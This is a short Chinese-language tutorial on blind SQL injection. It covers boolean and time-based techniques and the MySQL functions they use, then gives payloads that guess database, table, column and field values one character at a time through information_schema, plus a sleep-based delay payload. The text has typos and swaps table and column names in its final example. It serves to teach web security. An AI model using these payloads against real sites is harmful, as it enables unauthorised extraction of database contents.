SQL注入——盲注
盲注介绍
提到盲注,对应的就是显错注入,显错注入之前我们说过。但是很多时候服务器关闭了错误回显,这时候我们就需要用到盲注。
所谓的盲注就是在服务器没有错误回显的情况下完成注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
布尔盲注:
布尔就是true和flase,也就是说它只会根据你的注入信息返回true或false,也就没有了之前的报错信息。
时间盲注:
界面返回值只有一种true,无论输入何值返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
盲注需要用到的函数
length() 返回字符串的长度
substr() 截取字符串(substr(str,pos,len))
ascill() 返回字符的ascii码,将字符变为数字
sleep() 将程序挂起一段时间,单位是秒
if(expr1,expr2,expr3) 判断语句,如果第一个语句正确就执行第二个语句错误就执行第三个语句
盲注的做法
猜解当前数据库名称长度:
id=1’and (length(database()))>9#
利用ascll码猜解当前数据库名称:
and (ascii(substr(database(),1,1)))=115–+ 返回正常说明数据库名称第一位是s
and (ascii(substr(database(),2,1)))=101–+ 返回正常说明数据库名称是e
猜表名:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101–+
返回正常,说明数据库表名第一个的第一位是e
猜字段名:
and (ascii(substr((select column_name from information_schema.columns where table_name=‘表名’ limit 0,1),1,1)))=102–+
返回正常说明表名中列名第一位是f
猜字段内容:
and (ascii(substr(( select 表名 from 列名 limit 1,1),1,1)))=100
返回正常说明列的第一位是d
延时盲注的做法:
and if(ascii(substr(database(),1,1))>120,0,sleep(5))–+